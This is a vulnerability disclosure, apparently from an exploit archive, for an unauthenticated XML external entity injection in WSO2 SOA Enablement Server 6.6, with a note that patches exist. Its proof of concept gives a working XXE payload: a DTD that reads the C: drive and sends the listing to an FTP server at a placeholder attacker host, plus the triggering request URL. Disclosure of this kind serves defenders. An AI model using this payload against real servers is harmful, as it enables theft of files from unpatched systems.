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WSO2 SOA Enablement Server XML External Entity Injection

WSO2 SOA Enablement Server XML External Entity Injection
Posted Jul 13, 2016
Authored by Jakub Palaczynski, Pawel Gocyla

WSO2 SOA Enablement Server for Java/6.6 build SSJ-6.6-20090827-1616 suffers from an XML external entity injection vulnerability.

tags | exploit, java, xxe
SHA-256 | d9e516d3777daf410177b4c7a8c4a54f5f7f7677f5de9b1ae66ff8fa3a81c9c2

WSO2 SOA Enablement Server XML External Entity Injection

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Title: WSO2 SOA Enablement Server - XML External Entity Injection
Authors: Pawel Gocyla, Jakub Palaczynski
Date: 08. June 2016

Affected Software:
==================
WSO2 SOA Enablement Server for Java/6.6 build SSJ-6.6-20090827-1616
Probably other versions are also vulnerable.


Vulnerability:
**************

XML External Entity Injection:
==============================

It must be noted that this vulnerability is exploitable without
authentication.

Proof of Concept:
1. An attacker sets up web server that serves two files (wsdl.txt and
file.dtd):
wsdl.txt:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE m [ <!ENTITY % remote SYSTEM "http://ATTACKER_IP/file.dtd
">%remote;%int;%trick;]>
file.dtd:
<!ENTITY % payl SYSTEM "file:///C:/">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://ATTACKER_IP/%payl;'>">

2. An attacker sets up FTP server that logs every command executed on the
server.

3. An attacker sends request that triggers vulnerability:
https://WSO2SOA_IP:6443/invocationConsole?p.wsdlUrl=http://attacker_ip/wsdl.txt


FIX:
====

Patches were already released by the vendor.

Contact:
========

pawellgocyla[at]gmail[dot]com
jakub.palaczynski[at]gmail[dot]com


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